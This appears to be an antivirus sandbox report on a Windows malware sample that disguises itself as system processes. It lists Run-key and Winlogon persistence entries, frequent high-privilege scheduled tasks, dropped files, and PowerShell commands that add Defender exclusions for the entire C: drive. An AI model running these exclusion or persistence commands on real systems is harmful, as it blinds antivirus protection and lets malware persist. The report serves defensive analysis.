Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'fontdrvhost' = '"%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'fontdrvhost' = '"%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe"'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'SearchApp' = '"%ALLUSERSPROFILE%\Start Menu\SearchApp.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'SearchApp' = '"%ALLUSERSPROFILE%\Start Menu\SearchApp.exe"'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe", "%ALLUSERSPR...
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'csrss' = '"C:\kms\csrss.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'csrss' = '"C:\kms\csrss.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'smss' = '"C:\Recovery\WindowsRE\smss.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'smss' = '"C:\Recovery\WindowsRE\smss.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'StartMenuExperienceHost' = '"C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proof.en\StartMenuExperienceHost.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'StartMenuExperienceHost' = '"C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proof.en\StartMenuExperienceHost.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '"<Full path to file>"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '"<Full path to file>"'
Creates or modifies the following files
- <SYSTEM32>\tasks\fontdrvhostf
- <SYSTEM32>\tasks\fontdrvhost
- <SYSTEM32>\tasks\searchapps
- <SYSTEM32>\tasks\searchapp
- <SYSTEM32>\tasks\csrssc
- <SYSTEM32>\tasks\csrss
- <SYSTEM32>\tasks\smsss
- <SYSTEM32>\tasks\smss
- <SYSTEM32>\tasks\startmenuexperiencehosts
- <SYSTEM32>\tasks\startmenuexperiencehost
- <SYSTEM32>\tasks\<File name>l
- <SYSTEM32>\tasks\<File name>
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/kms/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/mkdtnb/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Start Menu\SearchApp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\kms\csrss.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\smss.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proof.en\StartMenuExperienceHost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
Modifies file system
Creates the following files
- <Current directory>\00328ebfec3f6b
- C:\msocache\all users\{90160000-002c-0409-0000-0000000ff1ce}-c\proof.en\startmenuexperiencehost.exe
- C:\msocache\all users\{90160000-002c-0409-0000-0000000ff1ce}-c\proof.en\55b276f4edf653
- C:\recovery\windowsre\smss.exe
- C:\recovery\windowsre\69ddcba757bf72
- C:\kms\csrss.exe
- C:\kms\886983d96e3d3e
- %ALLUSERSPROFILE%\start menu\searchapp.exe
- %ALLUSERSPROFILE%\start menu\38384e6a620884
- %ProgramFiles(x86)%\microsoft analysis services\as oledb\110\resources\1033\fontdrvhost.exe
- %ProgramFiles(x86)%\microsoft analysis services\as oledb\110\resources\1033\5b884080fd4f94
- %TEMP%\content\4812-4816-<File name>.exe-20-16-22-135.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-23-920.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-24-343.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-25-485.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-25-726.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-26-461.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-27-768.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-28-918.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-29-819.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-30-203.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-31-080.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-31-589.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-32-373.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-33-443.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-34-306.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-34-696.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-35-925.dump
- %TEMP%\content\4812-4816-<File name>.exe-20-16-36-818.dump
- %TEMP%\2nntp7fdqp
- %TEMP%\rrtvb7518a.bat
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
Deletes following files that it created itself
- %TEMP%\2nntp7fdqp
Miscellaneous
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "fontdrvhost" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\110\Resources\1033\fontdrvhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'%ALLUSERSPROFILE%\Start Menu\SearchApp.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SearchApp" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Start Menu\SearchApp.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'%ALLUSERSPROFILE%\Start Menu\SearchApp.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\kms\csrss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'C:\kms\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\kms\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\smss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "smss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proof.en\StartMenuExperienceHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proof.en\StartMenuExperienceHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proof.en\StartMenuExperienceHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>l" /sc MINUTE /mo 10 /tr "'<Full path to file>'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>" /sc ONLOGON /tr "'<Full path to file>'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>l" /sc MINUTE /mo 11 /tr "'<Full path to file>'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\RrtvB7518a.bat"
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\RrtvB7518a.bat"' (with hidden window)
